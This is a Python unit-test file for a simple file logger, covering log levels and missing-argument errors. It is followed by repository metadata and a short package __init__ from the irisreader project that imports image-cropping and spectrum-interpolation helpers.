import unittest import logging from logger_error import LoggerError from logger import Logger class Test_LoggerTest(unittest.TestCase): # Test writing debug def test_logger_will_log_debug(self): application_name = "Unit Test Application" file_name = "unit-test.log" log_message = "We have written our first debug line" expected_message = f"{application_name} DEBUG {log_message}" self._logger = Logger(application_name, logging.DEBUG, file_name) self._logger.log("debug", log_message) with open(file_name, "r") as file: first_line = file.readline() for file_line in file: pass log_file_message = " ".join(file_line.split()[1:]) self.assertEqual(log_file_message, expected_message) # Test writing info def test_logger_will_log_info(self): application_name = "Unit Test Application" file_name = "unit-test.log" log_message = "We have written our first info line" expected_message = f"{application_name} INFO {log_message}" self._logger = Logger(application_name, logging.DEBUG, file_name) self._logger.log("info", log_message) with open(file_name, "r") as file: first_line = file.readline() for file_line in file: pass log_file_message = " ".join(file_line.split()[1:]) self.assertEqual(log_file_message, expected_message) # Test writing warning def test_logger_will_log_warning(self): application_name = "Unit Test Application" file_name = "unit-test.log" log_message = "We have written our first warning line" expected_message = f"{application_name} WARNING {log_message}" self._logger = Logger(application_name, logging.DEBUG, file_name) self._logger.log("warning", log_message) with open(file_name, "r") as file: first_line = file.readline() for file_line in file: pass log_file_message = " ".join(file_line.split()[1:]) self.assertEqual(log_file_message, expected_message) # Test writing error def test_logger_will_log_error(self): application_name = "Unit Test Application" file_name = "unit-test.log" log_message = "We have written our first error line" expected_message = f"{application_name} ERROR {log_message}" self._logger = Logger(application_name, logging.DEBUG, file_name) self._logger.log("error", log_message) with open(file_name, "r") as file: first_line = file.readline() for file_line in file: pass log_file_message = " ".join(file_line.split()[1:]) self.assertEqual(log_file_message, expected_message) # Test writing critical def test_logger_will_log_critical(self): application_name = "Unit Test Application" file_name = "unit-test.log" log_message = "We have written our first critical line" expected_message = f"{application_name} CRITICAL {log_message}" self._logger = Logger(application_name, logging.DEBUG, file_name) self._logger.log("critical", log_message) with open(file_name, "r") as file: first_line = file.readline() for file_line in file: pass log_file_message = " ".join(file_line.split()[1:]) self.assertEqual(log_file_message, expected_message) # Test exception for missing application name def test_logger_will_throw_exception_without_application_name(self): try: self._logger = Logger(None) except LoggerError as e: error = e.args[0] self.assertEqual(error, "Application name is required.") # Test exception for missing logging level def test_logger_will_throw_exception_without_logging_level(self): application_name = "Unit Test Application" file_name = "unit-test.log" log_message = "We have written our first debug line" expected_message = f"{application_name} DEBUG {log_message}" self._logger = Logger(application_name, logging.DEBUG, file_name) try: self._logger.log(None, log_message) except LoggerError as e: error = e.args[0] self.assertEqual(error, "Logging Level is required.") # Test exception for no logging message def test_logger_will_throw_exception_without_logging_message(self): application_name = "Unit Test Application" file_name = "unit-test.log" log_message = "We have written our first debug line" expected_message = f"{application_name} DEBUG {log_message}" self._logger = Logger(application_name, logging.DEBUG, file_name) try: self._logger.log("debug", None) except LoggerError as e: error = e.args[0] self.assertEqual(error, "Logging Message is required.") if __name__ == '__main__': unittest.main()

43.051282

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null

0

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null

0

6

417a4b90b9f0841b36f058e64f64aeea7f07a4cf

314

py

Python

irisreader/preprocessing/__init__.py

chuwyler/IRISreader

aee39321751ba273c5f0d172b3b653656872f605

[ "MIT" ]

null

irisreader/preprocessing/__init__.py

chuwyler/IRISreader

aee39321751ba273c5f0d172b3b653656872f605

[ "MIT" ]

1

2019-07-31T14:35:28.000Z

2019-12-06T10:54:49.000Z

irisreader/preprocessing/__init__.py

chuwyler/IRISreader

aee39321751ba273c5f0d172b3b653656872f605

[ "MIT" ]

1

2019-02-13T13:49:13.000Z

from irisreader.preprocessing.image_cropper import image_cropper from irisreader.preprocessing.image_cropper import CorruptImageException, NullImageException from irisreader.preprocessing.image_cube_cropper import image_cube_cropper from irisreader.preprocessing.spectrum_interpolator import spectrum_interpolator

62.8

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0.344086

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4

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